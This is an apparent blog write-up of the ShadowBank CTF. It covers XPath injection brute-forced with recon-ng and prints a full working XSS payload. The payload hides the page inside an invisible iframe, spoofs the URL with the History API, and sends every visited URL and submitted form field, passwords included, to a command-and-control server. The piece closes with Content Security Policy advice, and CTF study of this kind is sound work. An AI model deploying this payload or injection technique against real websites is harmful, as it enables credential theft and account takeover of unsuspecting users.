Cmd&Ctrl - Shadow Bank CTF (2020)

Goal of this page

You won't have a walkthrough of the Cmd&Ctrl ShadowBank CTF here. Instead, I'll focus on some stuff I have learnt during this CTF: Xpath exploit with recon-ng and XSS exploits to spy on the website users.

Caught Flags

Points: 11020 (all 48 done + some additionnal secrets); Rank: 2nd / 100+

I actually caught all auto-scoring flags in this CTF, along with some hidden flags which are the pretty interesting ones (tho they look very arbitrarily attributed). So, for auto-scoring flags, I won't gove you a step-by-step tutoriel to find them. Instead, I advise you to:

With these, I think you would be able to score everything like I did, so, I would agree with the quote "If you're scoring everything/are first in a CTF, then you're in the wrong CTF room": I don't thing I've learnt a lot with these scoring flags in that CTF, as you would probably not either if you've already done, say, the PortSwigger "Beginner" labs .

Hidden flags

So the interesting stuff actually started with the "hidden flags", which are bonus points the support might give you depending on what you tell them/what you found. This is where I actually learnt stuff and gathered some nice XSS payload.

XPath exploitation using recon-ng

First hidden flag: using the XPath injection vulnerability to retrieve all the content of a XML file. To illustrate this, you can see this PHP example of a vulnerable page containing a XPath injection . The techniques shown in this PHP file allows you to retrieve all content (including the node's name) of an XML file. But doing so manually is a huge pain, so, here comes recon-ng which is part of the Kali distribution.

Command line showing recon-ng opening
Run recon-ng

Command line showing recon-ng installing module xpath_bruter
Install xpath module (if missing)

Command line showing recon-ng loading the module
Open the module

Command line showing recon-ng listing the module options
Show the options

Command line showing recon-ng opening
Run and profit

The example is available here (requires PHP with DOMDocument support).

XSS spying payload

Another neat thing with this CTF was the way I exploited the XSS. A lot of websites have either reflected or stored XSS, stored being usually the most harmful ones (because it can affect any user) while reflected are harder to exploit on victims (because you must make them click a link).
So, let's say we have a XSS (stored or reflected), how can we exploit it? Often, a XSS demo shows only an alert box with a dumb value, say "XSS" or "1". More advanced demo shows a cookie exfiltration, but, this would not be doable if the cookie is "HttpOnly" flagged. Now, say a XSS happens on a page that does not require to be logged in and has no login form (the form is on another page): how can you exploit this to take over victims account?

The answer is: using iframes an Javascript History API!

<script>(() => { if (window.parent !== window) { return; } const b = document.querySelector('body'); b.setAttribute('style', 'width:100vw;height:100vh;margin:0;overflow:hidden;'); document.querySelector('html').setAttribute('style', b.getAttribute('style')); b.innerHTML = '<iframe style="border:none;width:100vw;height:100vh;margin:0;padding:0;overflow:auto;"></iframe>'; const ifr = document.querySelector('iframe'); ifr.addEventListener('load', () => { window.history.pushState({}, ifr.contentDocument.title, ifr.contentDocument.location.href); fetch("" + encodeURIComponent(ifr.contentDocument.location.href)); ifr.contentDocument.querySelectorAll('form') .forEach(f => f.addEventListener('submit', e => { const dat = new FormData(f); const qs = Array.from(dat.entries()) .map(e => encodeURIComponent(e[0]) + "=" + encodeURIComponent(e[1])) .join("&"); fetch("" + qs); })); }); ifr.setAttribute('src', document.location.href); })(); </script>
The XSS payload

This payload will replace the body of the page with an iframe that is showing the current URI document. The stylings are made so that user will not be able to notice the iframe. The URI displayed by the browser is changed while the user browses inside the iframe, making the iframe even more unnoticeable. And when user sends a form inside this iframe, its content is submitted to a C&C server, allowing you to spy on the user! This way, when user enters infos in the login form inside this iframe, you can exfiltrate their password! Same happens on every navigation inside the iframe: you actually have full control over all webpages the user will visit from inside this iframe. If they click an external link in that iframe, it will also persist, but thanks to SOP (same origin policy), you will actually not be able to read all infos in the iframe.

The demo website is downloadable here (requires PHP with sessions and file writing support)

The demo website

Login to be able to post a message (test/test)

The message posting will be the stored XSS vector

The posted message is directly "echoed" in the page (hence XSS)

Inject the payload

Any use will now think the page is "normal", but look in the network tab!

Any form posted, any link clicked by the user is sent back to C&C server

This fails if user clicks an external link because of SOP (see the URL bar)

This can be prevented with proper Content Security Policy, like Content-Security-Policy: default 'self' which forbids inline javascript, and also forbids fetch requests to another domain (so you cannot exfiltrate data). Stricter 'none' rules can also be used.

Always set the most possibly restrictive CSP to your websites: it will be a nice defense in depth protection against (XSS) exploits.